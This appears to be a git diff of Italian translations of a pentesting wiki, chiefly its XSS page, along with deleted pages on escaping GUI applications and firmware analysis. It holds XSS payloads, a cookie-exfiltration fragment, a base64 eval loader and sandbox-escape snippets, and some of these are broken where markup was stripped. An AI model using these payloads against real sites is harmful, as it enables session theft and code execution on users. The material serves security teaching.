 Specificando **`allow-popups`** nell'attributo sandbox, qualsiasi finestra popup aperta dall'interno dell'iframe eredita le restrizioni sandbox del suo genitore. Ciò significa che a meno che l'attributo **`allow-popups-to-escape-sandbox`** non sia incluso, l'origine della finestra popup è anch'essa impostata su `null`, allineandosi con l'origine dell'iframe.
 
-Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** valuta a true (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
+Di conseguenza, quando una popup viene aperta in queste condizioni e un messaggio viene inviato dall'iframe alla popup utilizzando **`postMessage`**, sia il mittente che il destinatario hanno le loro origini impostate su `null`. Questa situazione porta a uno scenario in cui **`e.origin == window.origin`** risulta vero (`null == null`), poiché sia l'iframe che la popup condividono lo stesso valore di origine di `null`.
 
 Per ulteriori informazioni **leggi**:
 
@@ -138,7 +136,7 @@ Per ulteriori informazioni **leggi**:
 bypassing-sop-with-iframes-1.md
 {{#endref}}
 
-### Bypassare e.source
+### Bypass di e.source
 
 È possibile controllare se il messaggio proviene dalla stessa finestra in cui lo script sta ascoltando (particolarmente interessante per **Content Scripts delle estensioni del browser** per controllare se il messaggio è stato inviato dalla stessa pagina):
 ```javascript
@@ -158,7 +156,7 @@ bypassing-sop-with-iframes-2.md
 ### Bypass dell'header X-Frame
 
 Per eseguire questi attacchi, idealmente dovresti essere in grado di **mettere la pagina web della vittima** all'interno di un `iframe`. Ma alcuni header come `X-Frame-Header` possono **prevenire** quel **comportamento**.\
-In quei scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
+In questi scenari puoi comunque utilizzare un attacco meno furtivo. Puoi aprire una nuova scheda per l'applicazione web vulnerabile e comunicare con essa:
 ```html
 `** di una pagina HTML, all'interno di un file `.js` o all'interno di un attributo utilizzando il protocollo **`javascript:`**:
 
-- Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` ed uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `` iniettato è all'interno del codice HTML.
+- Se riflesso tra i tag **``**, anche se il tuo input è all'interno di qualsiasi tipo di virgolette, puoi provare a iniettare `` e uscire da questo contesto. Questo funziona perché il **browser prima analizzerà i tag HTML** e poi il contenuto, quindi non si accorgerà che il tuo tag `` iniettato è all'interno del codice HTML.
 - Se riflesso **all'interno di una stringa JS** e l'ultimo trucco non funziona, dovresti **uscire** dalla stringa, **eseguire** il tuo codice e **ricostruire** il codice JS (se c'è un errore, non verrà eseguito):
 - `'-alert(1)-'`
 - `';-alert(1)//`
@@ -132,7 +134,7 @@ dom-xss.md
 
 ### **Universal XSS**
 
-Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
+Questi tipi di XSS possono essere trovati **ovunque**. Non dipendono solo dall'esploitazione client di un'applicazione web, ma da **qualsiasi** **contesto**. Questi tipi di **esecuzione arbitraria di JavaScript** possono persino essere sfruttati per ottenere **RCE**, **leggere** **file** **arbitrari** nei client e nei server, e altro ancora.\
 Alcuni **esempi**:
 
 {{#ref}}
@@ -143,11 +145,11 @@ server-side-xss-dynamic-pdf.md
 ../../network-services-pentesting/pentesting-web/electron-desktop-apps/
 {{#endref}}
 
-## WAF bypass encoding image
+## Codifica di bypass WAF immagine
 
 ![from https://twitter.com/hackerscrolls/status/1273254212546281473?s=21](<../../images/EauBb2EX0AERaNK (1).jpg>)
 
-## Iniettare all'interno di HTML raw
+## Iniezione all'interno di HTML raw
 
 Quando il tuo input è riflesso **all'interno della pagina HTML** o puoi sfuggire e iniettare codice HTML in questo contesto, la **prima** cosa che devi fare è controllare se puoi abusare di `<` per creare nuovi tag: prova semplicemente a **riflettere** quel **carattere** e controlla se viene **HTML codificato** o **eliminato** o se è **riflesso senza modifiche**. **Solo nell'ultimo caso sarai in grado di sfruttare questo caso**.\
 Per questi casi, tieni anche presente [**Client Side Template Injection**](../client-side-template-injection-csti.md)**.**\
@@ -170,7 +172,7 @@ Vai a [**https://portswigger.net/web-security/cross-site-scripting/cheat-sheet**
 
 ### Tag personalizzati
 
-Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far sì che la pagina **focalizzi quell'oggetto** e **esegua** il codice:
+Se non hai trovato alcun tag HTML valido, puoi provare a **creare un tag personalizzato** ed eseguire codice JS con l'attributo `onfocus`. Nella richiesta XSS, devi terminare l'URL con `#` per far **focalizzare la pagina su quell'oggetto** e **eseguire** il codice:
 ```
 /?search=#x
 ```
@@ -239,7 +241,7 @@ Per controllare in quali caratteri sono decomposti controlla [qui](https://www.c
 
 ### Click XSS - Clickjacking
 
-Se per sfruttare la vulnerabilità hai bisogno che **l'utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
+Se per sfruttare la vulnerabilità hai bisogno che l'**utente clicchi su un link o un modulo** con dati precompilati, potresti provare a [**sfruttare il Clickjacking**](../clickjacking.md#xss-clickjacking) (se la pagina è vulnerabile).
 
 ### Impossibile - Dangling Markup
 
@@ -267,12 +269,12 @@ Se **non puoi uscire dal tag**, potresti creare nuovi attributi all'interno del
 ```
 ### All'interno dell'attributo
 
-Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Per **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
+Anche se **non puoi uscire dall'attributo** (`"` viene codificato o eliminato), a seconda di **quale attributo** il tuo valore viene riflesso **se controlli tutto il valore o solo una parte** sarai in grado di abusarne. Ad **esempio**, se controlli un evento come `onclick=` sarai in grado di farlo eseguire codice arbitrario quando viene cliccato.\
 Un altro **esempio** interessante è l'attributo `href`, dove puoi usare il protocollo `javascript:` per eseguire codice arbitrario: **`href="javascript:alert(1)"`**
 
 **Bypass all'interno dell'evento usando la codifica HTML/URL encode**
 
-I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto qualcosa come il seguente sarà valido (il payload è in grassetto): `Torna Indietro `
+I **caratteri codificati in HTML** all'interno del valore degli attributi dei tag HTML vengono **decodificati durante l'esecuzione**. Pertanto, qualcosa come il seguente sarà valido (il payload è in grassetto): `Torna Indietro `
 
 Nota che **qualsiasi tipo di codifica HTML è valido**:
 ```javascript
@@ -301,7 +303,7 @@ Nota che **qualsiasi tipo di codifica HTML è valido**:
 
 
 ```
-### Protocollo Speciali All'interno dell'attributo
+### Protocollo speciali all'interno dell'attributo
 
 Qui puoi utilizzare i protocolli **`javascript:`** o **`data:`** in alcuni luoghi per **eseguire codice JS arbitrario**. Alcuni richiederanno interazione dell'utente, altri no.
 ```javascript
@@ -377,7 +379,7 @@ Puoi usare **Hex** e **Octal encode** all'interno dell'attributo `src` di `ifram
 ```javascript
 Click me
 
@@ -422,7 +424,7 @@ onbeforetoggle="alert(2)" />
 
 
Newsletter popup

 ```
-Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a patto di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
+Da [**qui**](https://portswigger.net/research/xss-in-hidden-input-fields): Puoi eseguire un **payload XSS all'interno di un attributo nascosto**, a condizione di poter **persuadere** la **vittima** a premere la **combinazione di tasti**. Su Firefox Windows/Linux la combinazione di tasti è **ALT+SHIFT+X** e su OS X è **CTRL+ALT+X**. Puoi specificare una combinazione di tasti diversa utilizzando un tasto diverso nell'attributo access key. Ecco il vettore:
 ```html
 
 ```
@@ -444,7 +446,7 @@ Leggi i [Bypass della Blacklist della sezione precedente](#blacklist-bypasses).
 
 **Bypass per codice JavaScript**
 
-Leggi la [blacklist dei bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
+Leggi la [blacklist di bypass JavaScript della sezione seguente](#javascript-bypass-blacklists-techniques).
 
 ### CSS-Gadgets
 
@@ -476,7 +478,7 @@ Se il tuo codice è inserito all'interno di `
 ```
-Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, il che comporta l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene eseguita solo successivamente.
+Nota che in questo esempio **non abbiamo nemmeno chiuso l'apostrofo**. Questo perché **l'analisi HTML viene eseguita prima dal browser**, che implica l'identificazione degli elementi della pagina, inclusi i blocchi di script. L'analisi di JavaScript per comprendere ed eseguire gli script incorporati viene effettuata solo successivamente.
 
 ### All'interno del codice JS
 
@@ -488,8 +490,8 @@ Se `<>` vengono sanificati, puoi comunque **eseguire l'escape della stringa** do
 ```
 ### Template literals \`\`
 
-Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backtick** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
-Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backtick, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
+Per costruire **stringhe** oltre alle virgolette singole e doppie, JS accetta anche i **backticks** **` `` `**. Questo è noto come template literals poiché consentono di **inserire espressioni JS** utilizzando la sintassi `${ ... }`.\
+Pertanto, se scopri che il tuo input viene **riflesso** all'interno di una stringa JS che utilizza i backticks, puoi abusare della sintassi `${ ... }` per eseguire **codice JS arbitrario**:
 
 Questo può essere **abusato** utilizzando:
 ```javascript
@@ -554,7 +556,7 @@ eval(8680439..toString(30))(983801..toString(36))
 
 /**/
 ```
-**Commenti JavaScript (da** [**Commenti JavaScript**](#javascript-comments) **trucco)**
+**Commenti JavaScript (dal** [**trucchi Commenti JavaScript**](#javascript-comments) **)**
 ```javascript
 //This is a 1 line comment
 /* This is a multiline comment*/
@@ -740,7 +742,7 @@ top[8680439..toString(30)](1)
 ## **Vulnerabilità DOM**
 
 C'è del **codice JS** che utilizza **dati controllati in modo non sicuro da un attaccante** come `location.href`. Un attaccante potrebbe abusare di questo per eseguire codice JS arbitrario.\
-**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata in questa pagina**](dom-xss.md)**:**
+**A causa dell'estensione della spiegazione di** [**vulnerabilità DOM è stata spostata a questa pagina**](dom-xss.md)**:**
 
 {{#ref}}
 dom-xss.md
@@ -767,7 +769,7 @@ Forse un utente può condividere il proprio profilo con l'amministratore e se il
 
 ### Session Mirroring
 
-Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti, vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
+Se trovi del self XSS e la pagina web ha un **session mirroring per gli amministratori**, ad esempio consentendo ai clienti di chiedere aiuto, affinché l'amministratore possa aiutarti vedrà ciò che stai vedendo nella tua sessione ma dalla sua sessione.
 
 Potresti far **attivare il tuo self XSS all'amministratore** e rubare i suoi cookie/sessione.
 
@@ -783,7 +785,7 @@ Potresti controllare se i **valori riflessi** vengono **normalizzati in unicode*
 ```
 ### Ruby-On-Rails bypass
 
-A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e campi aggiuntivi (onfocus) possono essere aggiunti all'interno del tag.\
+A causa dell'**assegnazione di massa RoR**, le citazioni vengono inserite nell'HTML e quindi la restrizione delle citazioni viene bypassata e possono essere aggiunti campi aggiuntivi (onfocus) all'interno del tag.\
 Esempio di modulo ([da questo report](https://hackerone.com/reports/709336)), se invii il payload:
 ```
 contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
@@ -826,7 +828,7 @@ document['default'+'View'][`\u0061lert`](3)
 ```
 ### XSS con iniezione di intestazioni in una risposta 302
 
-Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo **non è banale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
+Se scopri che puoi **iniettare intestazioni in una risposta di reindirizzamento 302**, potresti provare a **far eseguire al browser JavaScript arbitrario**. Questo non è **triviale** poiché i browser moderni non interpretano il corpo della risposta HTTP se il codice di stato della risposta HTTP è 302, quindi un payload di cross-site scripting è inutile.
 
 In [**questo report**](https://www.gremwell.com/firefox-xss-302) e [**questo**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) puoi leggere come puoi testare diversi protocolli all'interno dell'intestazione Location e vedere se uno di essi consente al browser di ispezionare ed eseguire il payload XSS all'interno del corpo.\
 Protocolli noti in passato: `mailto://`, `//x:1/`, `ws://`, `wss://`, _intestazione Location vuota_, `resource://`.
@@ -865,7 +867,7 @@ const char* const kSupportedJavascriptTypes[] = {
 ```
 ### Tipi di script per XSS
 
-(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
+(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Quindi, quali tipi potrebbero essere indicati per caricare uno script?
 ```html
 
 ```
@@ -917,9 +919,9 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
 }
 
 ```
-### Web Content-Types to XSS
+### Tipi di contenuto web per XSS
 
-(From [**here**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
+(Da [**qui**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) I seguenti tipi di contenuto possono eseguire XSS in tutti i browser:
 
 - text/html
 - application/xhtml+xml
@@ -927,12 +929,12 @@ Questo comportamento è stato utilizzato in [**questo writeup**](https://github.
 - text/xml
 - image/svg+xml
 - text/plain (?? non nella lista ma penso di averlo visto in un CTF)
-- application/rss+xml (off)
-- application/atom+xml (off)
+- application/rss+xml (spento)
+- application/atom+xml (spento)
 
 In altri browser possono essere utilizzati altri **`Content-Types`** per eseguire JS arbitrario, controlla: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
 
-### xml Content Type
+### Tipo di contenuto xml
 
 Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno spazio dei nomi ed eseguire JS arbitrario:
 ```xml
@@ -942,19 +944,19 @@ Se la pagina restituisce un tipo di contenuto text/xml è possibile indicare uno
 
 
 ```
-### Modelli di Sostituzione Speciali
+### Special Replacement Patterns
 
 Quando si utilizza qualcosa come **`"some {{template}} data".replace("{{template}}", )`**, l'attaccante potrebbe utilizzare [**sostituzioni di stringhe speciali**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global_Objects/String/replace#specifying_a_string_as_the_replacement) per cercare di eludere alcune protezioni: `` "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"})) ``
 
 Ad esempio, in [**questo writeup**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), questo è stato utilizzato per **scappare una stringa JSON** all'interno di uno script ed eseguire codice arbitrario.
 
-### Cache di Chrome a XSS
+### Chrome Cache to XSS
 
 {{#ref}}
 chrome-cache-to-xss.md
 {{#endref}}
 
-### Escape da XS Jails
+### XS Jails Escape
 
 Se hai solo un insieme limitato di caratteri da utilizzare, controlla queste altre soluzioni valide per i problemi di XSJail:
 ```javascript
@@ -987,14 +989,14 @@ constructor(source)()
 // For more uses of with go to challenge misc/CaaSio PSE in
 // https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
 ```
-Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo articolo**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
+Se **tutto è indefinito** prima di eseguire codice non affidabile (come in [**questo writeup**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/index.html#miscx2fundefined55-solves)), è possibile generare oggetti utili "dal nulla" per abusare dell'esecuzione di codice arbitrario non affidabile:
 
 - Utilizzando import()
 ```javascript
 // although import "fs" doesn’t work, import('fs') does.
 import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
 ```
-- Accesso a `require` in modo indiretto
+- Accedere a `require` in modo indiretto
 
 [Secondo questo](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) i moduli sono racchiusi da Node.js all'interno di una funzione, in questo modo:
 ```javascript
@@ -1240,13 +1242,13 @@ steal-info-js.md
 
 ### Trappola Iframe
 
-Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusa l'informazione inviata nei moduli):
+Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azioni (inclusi i dati inviati nei moduli):
 
 {{#ref}}
 ../iframe-traps.md
 {{#endref}}
 
-### Recupera Cookies
+### Recupera Cookie
 ```javascript
 /?c="+document.cookie>
 
@@ -1268,7 +1270,7 @@ Fai navigare l'utente nella pagina senza uscire da un iframe e ruba le sue azion
 
 
 ```
-> [!NOTE]
+> [!TIP]
 > Non **sarai in grado di accedere ai cookie da JavaScript** se il flag HTTPOnly è impostato nel cookie. Ma qui hai [alcuni modi per bypassare questa protezione](../hacking-with-cookies/index.html#httponly) se sei abbastanza fortunato.
 
 ### Rubare il contenuto della pagina
@@ -1500,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
 ```
 ### Regex - Accesso ai Contenuti Nascosti
 
-Da [**questo articolo**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
+Da [**questo writeup**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) è possibile apprendere che anche se alcuni valori scompaiono da JS, è ancora possibile trovarli negli attributi JS in diversi oggetti. Ad esempio, un input di un REGEX è ancora possibile trovarlo dopo che il valore dell'input del regex è stato rimosso:
 ```javascript
 // Do regex with flag
 flag = "CTF{FLAG}"
@@ -1523,7 +1525,7 @@ document.all["0"]["ownerDocument"]["defaultView"]["RegExp"]["rightContext"]
 https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
 {{#endref}}
 
-## XSS Abusando di altre vulnerabilità
+## XSS Abusare di altre vulnerabilità
 
 ### XSS in Markdown
 
@@ -1540,7 +1542,7 @@ Hai XSS su un **sito che utilizza la cache**? Prova **a passare a SSRF** tramite
 
 ```
 Usalo per bypassare le restrizioni sui cookie, i filtri XSS e molto altro!\
-Maggiore informazione su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
+Ulteriori informazioni su questa tecnica qui: [**XSLT**](../xslt-server-side-injection-extensible-stylesheet-language-transformations.md).
 
 ### XSS in PDF creati dinamicamente
 
@@ -1561,7 +1563,7 @@ pdf-injection.md
 
 AMP, mirato ad accelerare le prestazioni delle pagine web sui dispositivi mobili, incorpora tag HTML integrati da JavaScript per garantire funzionalità con un'enfasi su velocità e sicurezza. Supporta una gamma di componenti per varie funzionalità, accessibili tramite [AMP components](https://amp.dev/documentation/components/?format=websites).
 
-Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende componenti AMP specifici alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
+Il formato [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) estende specifici componenti AMP alle email, consentendo ai destinatari di interagire con i contenuti direttamente all'interno delle loro email.
 
 Esempio [**writeup XSS in Amp4Email in Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
 
@@ -1623,7 +1625,7 @@ id="foo"/>
 ```xml
 
 ```
-Trova **altri payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
+Trova **ulteriori payload SVG in** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
 
 ## Suggerimenti JS vari e informazioni rilevanti
 
diff --git a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
index 2c47113fc..f0814164e 100644
--- a/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
+++ b/src/pentesting-web/xss-cross-site-scripting/debugging-client-side-js.md
@@ -1,7 +1,5 @@
 # Debugging Client Side JS
 
-## Debugging Client Side JS
-
 {{#include ../../banners/hacktricks-training.md}}
 
 Il debugging del JS lato client può essere complicato perché ogni volta che cambi l'URL (incluso un cambiamento nei parametri utilizzati o nei valori dei parametri) devi **ripristinare il breakpoint e ricaricare la pagina**.
@@ -12,12 +10,12 @@ Se posizioni la riga `debugger;` all'interno di un file JS, quando il **browser*
 
 ### Overrides
 
-Le sovrascritture del browser consentono di avere una copia locale del codice che verrà eseguito e di eseguire quella invece di quella del server remoto.\
+Le sovrascritture del browser consentono di avere una copia locale del codice che verrà eseguito ed eseguire quella invece di quella del server remoto.\
 Puoi **accedere alle sovrascritture** in "Dev Tools" --> "Sources" --> "Overrides".
 
 Devi **creare una cartella locale vuota da utilizzare per memorizzare le sovrascritture**, quindi crea semplicemente una nuova cartella locale e impostala come sovrascrittura in quella pagina.
 
-Poi, in "Dev Tools" --> "Sources" **seleziona il file** che desideri sovrascrivere e con **clic destro seleziona "Save for overrides"**.
+Poi, in "Dev Tools" --> "Sources" **seleziona il file** che vuoi sovrascrivere e con **clic destro seleziona "Save for overrides"**.
 
 ![](<../../images/image (742).png>)
 
diff --git a/src/physical-attacks/escaping-from-gui-applications/README.md b/src/physical-attacks/escaping-from-gui-applications/README.md
deleted file mode 100644
index fde3cced6..000000000
--- a/src/physical-attacks/escaping-from-gui-applications/README.md
+++ /dev/null
@@ -1,49 +0,0 @@
-{{#include ../../banners/hacktricks-training.md}}
-
-# Controlla le possibili azioni all'interno dell'applicazione GUI
-
-**Dialoghi comuni** sono quelle opzioni di **salvataggio di un file**, **apertura di un file**, selezione di un font, un colore... La maggior parte di essi **offrirà una funzionalità completa di Explorer**. Questo significa che sarai in grado di accedere alle funzionalità di Explorer se puoi accedere a queste opzioni:
-
-- Chiudi/Chiudi come
-- Apri/Apri con
-- Stampa
-- Esporta/Importa
-- Cerca
-- Scansiona
-
-Dovresti controllare se puoi:
-
-- Modificare o creare nuovi file
-- Creare collegamenti simbolici
-- Accedere ad aree riservate
-- Eseguire altre app
-
-## Esecuzione di comandi
-
-Forse **utilizzando un'opzione `Apri con`** puoi aprire/eseguire qualche tipo di shell.
-
-### Windows
-
-Ad esempio _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ trova più binari che possono essere utilizzati per eseguire comandi (e compiere azioni inaspettate) qui: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
-
-### \*NIX \_\_
-
-_bash, sh, zsh..._ Maggiori informazioni qui: [https://gtfobins.github.io/](https://gtfobins.github.io)
-
-# Windows
-
-## Bypassare le restrizioni del percorso
-
-- **Variabili di ambiente**: Ci sono molte variabili di ambiente che puntano a qualche percorso
-- **Altri protocolli**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
-- **Collegamenti simbolici**
-- **Scorciatoie**: CTRL+N (apri nuova sessione), CTRL+R (Esegui comandi), CTRL+SHIFT+ESC (Gestione attività), Windows+E (apri explorer), CTRL-B, CTRL-I (Preferiti), CTRL-H (Cronologia), CTRL-L, CTRL-O (File/Dialogo di apertura), CTRL-P (Dialogo di stampa), CTRL-S (Salva con nome)
-- Menu amministrativo nascosto: CTRL-ALT-F8, CTRL-ESC-F9
-- **Shell URIs**: _shell:Strumenti amministrativi, shell:Libreria documenti, shell:Librerie, shell:Profili utente, shell:Personale, shell:Cerca nella cartella home, shell:Posti di rete, shell:Invia a, shell:Profili utenti, shell:Strumenti amministrativi comuni, shell:Cartella computer, shell:Cartella Internet_
-- **Percorsi UNC**: Percorsi per connettersi a cartelle condivise. Dovresti provare a connetterti al C$ della macchina locale ("\\\127.0.0.1\c$\Windows\System32")
-- **Altri percorsi UNC:**
-
-| UNC                       | UNC            | UNC                  |
-| ------------------------- | -------------- | -------------------- |
-| %ALLUSERSPROFILE%         | %APPDATA%      | %CommonProgramFiles% |
-| %COMMONPROGRAMFILES(x86)% | %COMPUT
diff --git a/src/physical-attacks/firmware-analysis/README.md b/src/physical-attacks/firmware-analysis/README.md
deleted file mode 100644
index a35411e81..000000000
--- a/src/physical-attacks/firmware-analysis/README.md
+++ /dev/null
@@ -1,240 +0,0 @@
-# Analisi del Firmware
-
-{{#include ../../banners/hacktricks-training.md}}
-
-## **Introduzione**
-
-Il firmware è un software essenziale che consente ai dispositivi di funzionare correttamente gestendo e facilitando la comunicazione tra i componenti hardware e il software con cui gli utenti interagiscono. È memorizzato in memoria permanente, garantendo che il dispositivo possa accedere a istruzioni vitali dal momento in cui viene acceso, portando al lancio del sistema operativo. Esaminare e potenzialmente modificare il firmware è un passo critico per identificare vulnerabilità di sicurezza.
-
-## **Raccolta di Informazioni**
-
-**Raccogliere informazioni** è un passo iniziale critico per comprendere la composizione di un dispositivo e le tecnologie che utilizza. Questo processo implica la raccolta di dati su:
-
-- L'architettura della CPU e il sistema operativo in esecuzione
-- Specifiche del bootloader
-- Layout hardware e schede tecniche
-- Metriche del codice sorgente e posizioni
-- Librerie esterne e tipi di licenza
-- Storie degli aggiornamenti e certificazioni normative
-- Diagrammi architettonici e di flusso
-- Valutazioni di sicurezza e vulnerabilità identificate
-
-A questo scopo, gli strumenti di **intelligence open-source (OSINT)** sono inestimabili, così come l'analisi di eventuali componenti software open-source disponibili attraverso processi di revisione manuale e automatizzata. Strumenti come [Coverity Scan](https://scan.coverity.com) e [Semmle’s LGTM](https://lgtm.com/#explore) offrono analisi statica gratuita che può essere sfruttata per trovare potenziali problemi.
-
-## **Acquisire il Firmware**
-
-Ottenere il firmware può essere affrontato attraverso vari mezzi, ognuno con il proprio livello di complessità:
-
-- **Direttamente** dalla fonte (sviluppatori, produttori)
-- **Costruendolo** dalle istruzioni fornite
-- **Scaricandolo** dai siti di supporto ufficiali
-- Utilizzando query di **Google dork** per trovare file firmware ospitati
-- Accedendo direttamente allo **storage cloud**, con strumenti come [S3Scanner](https://github.com/sa7mon/S3Scanner)
-- Intercettando **aggiornamenti** tramite tecniche man-in-the-middle
-- **Estraendo** dal dispositivo attraverso connessioni come **UART**, **JTAG** o **PICit**
-- **Sniffando** le richieste di aggiornamento all'interno della comunicazione del dispositivo
-- Identificando e utilizzando **endpoint di aggiornamento hardcoded**
-- **Dumping** dal bootloader o dalla rete
-- **Rimuovendo e leggendo** il chip di memoria, quando tutto il resto fallisce, utilizzando strumenti hardware appropriati
-
-## Analizzare il firmware
-
-Ora che **hai il firmware**, devi estrarre informazioni su di esso per sapere come trattarlo. Diversi strumenti che puoi utilizzare per questo:
-```bash
-file 
-strings -n8 
-strings -tx  #print offsets in hex
-hexdump -C -n 512  > hexdump.out
-hexdump -C  | head # might find signatures in header
-fdisk -lu  #lists a drives partition and filesystems if multiple
-```
-Se non trovi molto con quegli strumenti, controlla l'**entropia** dell'immagine con `binwalk -E `, se l'entropia è bassa, allora è improbabile che sia crittografata. Se l'entropia è alta, è probabile che sia crittografata (o compressa in qualche modo).
-
-Inoltre, puoi utilizzare questi strumenti per estrarre **file incorporati nel firmware**:
-
-{{#ref}}
-../../forensics/basic-forensic-methodology/partitions-file-systems-carving/file-data-carving-recovery-tools.md
-{{#endref}}
-
-Oppure [**binvis.io**](https://binvis.io/#/) ([code](https://code.google.com/archive/p/binvis/)) per ispezionare il file.
-
-### Ottenere il Filesystem
-
-Con gli strumenti precedentemente commentati come `binwalk -ev ` dovresti essere stato in grado di **estrarre il filesystem**.\
-Binwalk di solito lo estrae all'interno di una **cartella chiamata come il tipo di filesystem**, che di solito è uno dei seguenti: squashfs, ubifs, romfs, rootfs, jffs2, yaffs2, cramfs, initramfs.
-
-#### Estrazione Manuale del Filesystem
-
-A volte, binwalk **non avrà il byte magico del filesystem nelle sue firme**. In questi casi, usa binwalk per **trovare l'offset del filesystem e ricavare il filesystem compresso** dal binario e **estrarre manualmente** il filesystem secondo il suo tipo utilizzando i passaggi seguenti.
-```
-$ binwalk DIR850L_REVB.bin
-
-DECIMAL HEXADECIMAL DESCRIPTION
------------------------------------------------------------------------------ ---
-
